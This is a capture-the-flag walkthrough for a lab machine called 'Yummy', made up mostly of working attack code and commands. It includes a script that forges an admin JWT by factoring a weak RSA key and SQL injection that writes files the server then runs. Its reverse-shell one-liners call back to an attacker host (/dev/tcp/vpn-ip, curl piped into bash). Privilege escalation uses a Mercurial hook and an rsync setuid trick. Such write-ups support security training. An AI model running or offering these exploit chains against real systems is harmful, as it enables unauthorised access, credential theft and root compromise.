Dive into the depths of cybersecurity with the Yummy The Flag (CTF) challenge, a hard-level test of skill designed for seasoned professionals. This intense CTF writeup guides you through advanced techniques and complex vulnerabilities, pushing your expertise to the limit.

Add Hosts#

10.10.11.36 yummy.htb

Script to add hosts automatically#

ip="10.10.11.36"
domain="yummy.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping#

nmap -sCV yummy.htb

Nmap scan report for yummy.htb (10.10.11.36)
Host is up (0.052s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA)
|_  256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519)
80/tcp open  http    Caddy httpd
|_http-title: Yummy
|_http-server-header: Caddy
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Forge Admin JWT token#

Create an Account:

  • Sign up, log in, and capture the JWT token from your browser cookies.

Install Libraries:

pip install pyjwt pycryptodome sympy

Exploit Weak RSA Keys:

  • Factor the modulus (n) from the JWT, get p and q, and derive the private key.
  • Re-sign the JWT with "role": "administrator".

Exploit Script:#

import base64, json, jwt, sympy
from Crypto.PublicKey import RSA
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend

token = input("Token? ")
js = json.loads(base64.b64decode(token.split(".")[1] + "===").decode())
n = int(js["jwk"]['n'])
p, q = list((sympy.factorint(n)).keys())
e = 65537
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key = RSA.construct((n, e, d, p, q))
private_key_bytes = key.export_key()
private_key = serialization.load_pem_private_key(
    private_key_bytes, password=None, backend=default_backend()
)
public_key = private_key.public_key()
data = jwt.decode(token, public_key, algorithms=["RS256"])
data["role"] = "administrator"
new_token = jwt.encode(data, private_key, algorithm="RS256")
print(f"\n{new_token}")

Use Admin JWT#

  • Copy the new token into your browser’s cookies.

Exploiting SSTI for RCE#

  • As an admin, you can exploit Server-Side Template Injection (SSTI) to execute commands.
  • Inject malicious payloads into templates to gain Remote Code Execution (RCE).

RevShell#

Start HTTP server to host rev.sh:

echo "#\!/bin/bash\n/bin/bash -i >& /dev/tcp/vpn-ip/9001 0>&1" > rev.sh
chmod +x rev.sh
python -m http.server

Start Netcat listener:

nc -lvnp 9001

Trigger SQL Injection for Reverse Shell#

ip="vpn-ip"
echo -en "Admin Token? " 
read token
url() {
  curl -s -H "Cookie: X-AUTH-Token=$token" "http://yummy.htb/admindashboard?s=aa&o=ASC%3b++select+\"$1%3b\"+INTO+OUTFILE++'$2'+%3b"
}
url "ping+$ip" "/data/scripts/dbstatus.json"
url "curl+$ip:8000/rev.sh+|bash" "/data/scripts/pwn"

PrivEsc#

Netcat listener:

nc -lvnp 9002

mv /data/scripts/app_backup.sh /data/scripts/app_backup.sh.old
cd /tmp
echo -e "#\!/bin/bash\n/bin/bash -i >& /dev/tcp/vpn-ip/9002 0>&1" > rev.sh
chmod + rev.sh
mv "rev.sh" /data/scripts/app_backup.sh

in the listener

strings /var/www/app-qatesting/.hg/store/data/app.py.i

this show db user and passwords

now you can close all old listeners and ssh in it.

ssh qa@yummy.htb

cat /home/qa/user.txt

Netcat listener:

nc -lvnp 9001

get a dev shell

cd /tmp
mkdir .hg
chmod 777 .hg
cp ~/.hgrc .hg/hgrc
echo "[hooks]" >> /tmp/.hg/hgrc
echo "post-pull = /tmp/revshell.sh" >> /tmp/.hg/hgrc
echo "bash -c 'bash -i >& /dev/tcp/vpn-ip/9001 0>&1'" > /tmp/revshell.sh
chmod +x /tmp/revshell.sh
sudo -u dev /usr/bin/hg pull /home/dev/app-production/

get root

sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/../../../../../../bin/bash --chmod=+s /opt/app/
/opt/app/bash -p

cat /root/root.txt